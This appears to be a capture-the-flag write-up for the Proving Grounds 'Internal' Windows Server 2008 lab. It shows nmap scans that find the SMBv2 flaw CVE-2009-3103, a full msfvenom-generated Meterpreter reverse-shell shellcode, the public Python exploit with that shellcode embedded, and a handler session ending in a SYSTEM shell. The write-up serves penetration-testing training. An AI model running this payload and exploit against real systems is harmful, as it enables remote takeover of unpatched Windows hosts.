✍️
Imtodess
  • CTF writeups
  • Proving Grounds
    • Warmups
      • Linux
        • Pebbles
        • wombo
        • Bratarina
        • ClamAV
        • Exfiltrated
      • Windows
        • Internal
        • Metallus
        • Kevin
        • Algernon
    • Get to work
      • Linux
        • Payday
        • Hunit
        • Dibbles
        • Zino
        • Hetemit
        • Postfish
        • Sybaris
    • Try Harder
      • Peppo
  • Vulnhub
    • Linux
      • Devguru
      • DC~9
Powered by GitBook
On this page
  • Summary:
  • Enumeration
  • Exploitation

Was this helpful?

  1. Proving Grounds
  2. Warmups
  3. Windows

Internal

Exploitation guide for Internal

PreviousWindowsNextMetallus

Last updated 3 years ago

Was this helpful?

Summary:

Exploiting Internal is straight forward. We will find the vulnerable service running on the system with the help of Nmap and then use the publicly available exploit to get the reverse shell. There is no need of privilege escalation since we will get the shell as root user.

Enumeration

Service Enumeration with Nmap:

──(imtodess㉿deathnote)-[~/…/boxes/pg/internal/scans]
└─$ sudo nmap $ip -sVCS -O -oN nmapInitial.txt                                                                                    
[sudo] password for imtodess:                                                                                                                                           
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-23 02:53 EDT                                                                                                         
Nmap scan report for 192.168.209.40                                                                                                                                     
Host is up (0.24s latency).                                                                                                                                             
Not shown: 987 closed ports                                                                                                                                             
PORT      STATE SERVICE            VERSION                                                                                                                              
53/tcp    open  domain             Microsoft DNS 6.0.6001 (17714650) (Windows Server 2008 SP1)                                                                          
| dns-nsid:                                                                                                                                                             
|_  bind.version: Microsoft DNS 6.0.6001 (17714650)                                                                                                                     
135/tcp   open  msrpc              Microsoft Windows RPC                                                                                                                
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn                                                                                                        
445/tcp   open  microsoft-ds       Windows Server (R) 2008 Standard 6001 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)                                             
3389/tcp  open  ssl/ms-wbt-server?                                                                                                                                      
| rdp-ntlm-info:                                                                                                                                                        
|   Target_Name: INTERNAL                                                                                                                                               
|   NetBIOS_Domain_Name: INTERNAL                                                                                                                                       
|   NetBIOS_Computer_Name: INTERNAL                                                                                                                                     
|   DNS_Domain_Name: internal                                                                                                                                           
|   DNS_Computer_Name: internal                                                                                                                                         
|   Product_Version: 6.0.6001                                                                                                                                           
|_  System_Time: 2021-08-23T06:55:40+00:00                                                                                                                              
| ssl-cert: Subject: commonName=internal                                                                                                                                
| Not valid before: 2020-03-19T16:56:02                                                                                                                                 
|_Not valid after:  2020-09-18T16:56:02                                                                                                                                 
|_ssl-date: 2021-08-23T06:55:48+00:00; +1s from scanner time.                                                                                                           
5357/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)                                                                                              
|_http-server-header: Microsoft-HTTPAPI/2.0                                                                                                                             
|_http-title: Service Unavailable   

Nmap with Vuln script:

	-(imtodess㉿deathnote)-[~/…/boxes/pg/internal/scans]                                                                                                                  
	└─$ nmap $ip --script=vuln   
	Host script results:                                                                                                                                                    
	|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: EOF                                                                          
	| smb-vuln-cve2009-3103:                                                                                                                                                
	|   VULNERABLE:                                                                                                                                                         
	|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)                                                                                                   
	|     State: VULNERABLE                                                                                                                                                 
	|     IDs:  CVE:CVE-2009-3103                                                                                                                                           
	|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,                                           
	|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a                                             
	|           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE                                            
	|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
	|           aka "SMBv2 Negotiation Vulnerability."
	|           
	|     Disclosure date: 2009-09-08
	|     References:
	|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
	|_      http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
	|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: EOF

Exploitation

Search the CVE from the Nmap result. We will find the exploit related to the vulnerability in exploit-db. https://www.exploit-db.com/exploits/40280

For this exploit. We will need to generate the shell code using msfvenom.

Note: Change IP and port according to your need.

	──(imtodess㉿deathnote)-[~/…/boxes/pg/internal/exploits]                                                                                                               
	└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.209 LPORT=5357  EXITFUNC=thread  -f c                                                                  
	[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload                                                                                  
	[-] No arch selected, selecting arch: x86 from the payload                                                                                                              
	No encoder specified, outputting raw payload                                                                                                                            
	Payload size: 375 bytes                                                                                                                                                 
	Final size of c file: 1599 bytes                                                                                                                                        
	unsigned char buf[] =                                                                                                                                                   
	"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"                                                                                                          
	"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"                                                                                                          
	"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"                                                                                                          
	"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"                                                                                                          
	"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3"                                                                                                          
	"\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xc1"                                                                                                          
	"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"                                                                                                          
	"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"                                                                                                          
	"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"                                                                                                          
	"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"                                                                                                          
	"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"                                                                                                          
	"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"                                                                                                          
	"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x31\xd1\x68\x02"                                                                                                          
	"\x00\x14\xed\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"                                                                                                          
	"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"                                                                                                          
	"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"                                                                                                          
	"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"                                                                                                          
	"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"                                                                                                          
	"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"                                                                                                          
	"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"                                                                                                          
	"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"                                                                                                          
	"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"                                                                                                          
	"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"                                                                                                          
	"\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"                                                                                                          
"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

Copy the generated shell code and put it in the exploit.

import tempfile
import sys
import subprocess
from socket import socket
from time import sleep
from smb.SMBConnection import SMBConnection


try:

	target = sys.argv[1]
except IndexError:
	print '\nUsage: %s <target ip>\n' % sys.argv[0]
	print 'Example: MS36299.py 192.168.1.1 1\n'
	sys.exit(-1)

#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443  EXITFUNC=thread  -f python
shell =("\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"                                                           
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x31\xd1\x68\x02"
"\x00\x14\xed\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
)


host = target, 445

. . .

This Exploit is written in python2 and requires pysmb module to run. If it is not available in your system install it by using following command. pip2.7 install pysmb Install pip2.7 if it is not installed in your system: curl -O https://bootstrap.pypa.io/pip/2.7/get-pip.py sudo python get-pip.py Install setuptools if you get error:invalid command 'egg_info' pip2.7 install --upgrade setuptools

Start multi/handler:

Make sure to change the payload, lhost and lport.

	┌──(imtodess㉿deathnote)-[~/…/boxes/pg/internal/exploits]                                                                                                               
	└─$ msfconsole -q                                                                                                                                                       
	msf6 > use exploit/multi/handler                                                                                                                                        
	[*] Using configured payload generic/shell_reverse_tcp                                                                                                                  
	msf6 exploit(multi/handler) > options                                                                                                                                   
	                                                                                                                                                                        
	Module options (exploit/multi/handler):                                                                                                                                 
	                                                                                                                                                                        
	   Name  Current Setting  Required  Description                                                                                                                         
	   ----  ---------------  --------  -----------                                                                                                                         
	                                                                                                                                                                        
	                                                                                                                                                                        
	Payload options (generic/shell_reverse_tcp):                                                                                                                            
	                                                                                                                                                                        
	   Name   Current Setting  Required  Description                                                                                                                        
	   ----   ---------------  --------  -----------                                                                                                                        
	   LHOST                   yes       The listen address (an interface may be spec                                                                                       
	                                     ified)                                                                                                                             
	   LPORT  4444             yes       The listen port                                
	
	
	Exploit target:                           
	
	   Id  Name                               
	   --  ----                               
	   0   Wildcard Target                    
	
	
	msf6 exploit(multi/handler) > set lhost tun0
	lhost => 192.168.49.209
	msf6 exploit(multi/handler) > set lport 5357                                        
	lport => 5357                             
	msf6 exploit(multi/handler) > set payload /windows/meterpreter/reverse_tcp
	payload => windows/meterpreter/reverse_tcp 
	msf6 exploit(multi/handler) > run
	
[*] Started reverse TCP handler on 192.168.49.209:5357 

Run the exploit:

┌──(imtodess㉿deathnote)-[~/…/boxes/pg/internal/exploits]
└─$ python exploit.py 192.168.209.40
Enter WORKGROUP\Administrator's password: 

We will receive the shell in multi/handler as nt authority\system.

	[*] Sending stage (175174 bytes) to 192.168.209.40                                                                                                                      
	[*] Meterpreter session 1 opened (192.168.49.209:5357 -> 192.168.209.40:49159) at 2021-08-23 04:11:56 -0400                                                             
	                                                                                                                                                                        
	meterpreter > shell                                                                                                                                                     
	Process 1864 created.                                                                                                                                                   
	Channel 1 created.                                                                                                                                                      
	Microsoft Windows [Version 6.0.6001]                                                                                                                                    
	Copyright (c) 2006 Microsoft Corporation.  All rights reserved.                                                                                                         
	                                                                                                                                                                        
	C:\Windows\system32>whoami                                                                                                                                              
	whoami                                                                                                                                                                  
	nt authority\system   
	C:\Users\Administrator\Desktop>type network-secret.txt                              
	type network-secret.txt                                                             
	<Redacted>                                                    
	C:\Users\Administrator\Desktop>type proof.txt                                       
  type proof.txt 
  <Redacted>